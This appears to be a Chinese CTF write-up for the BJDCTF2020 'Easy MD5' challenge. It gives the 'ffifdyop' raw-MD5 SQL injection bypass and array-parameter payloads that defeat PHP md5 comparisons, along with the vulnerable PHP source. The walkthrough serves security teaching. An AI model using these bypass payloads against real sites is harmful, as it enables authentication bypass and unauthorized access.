[BJDCTF2020]Easy MD5 -wp

在这里插入图片描述
页面上就一搜索框,无论提交什么都没回显,f12查看响应头有提示

在这里插入图片描述
select * from ‘admin’ where password=md5($pass,true)
提示了后台查询语句

查看一下md5()函数的true参数

在这里插入图片描述

和默认的输出不一样,百度一下MD5()true参数漏洞,发现可以找到

ffifdyop字符串会造成漏洞

在这里插入图片描述·在本地环境试验ffifdyop,输出的开头是'or'6xxxxxx
在数据库语句里就构成了select * from ‘admin’ where password= ''or’6xxxxxx ’ 相当于 password= ‘’ or 1 变成永真试

在这里插入图片描述

在bp输入ffifdyop回显是这样的,直接在输入框里直接输入就会直接跳到/levels91.php页面
跳转后查看源码

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

可以用结果等于0exxxxxx的字符串,也可以使用数组
a[]=1&b[]=2

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

使用数组
param1[]=1&param2[]=2

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值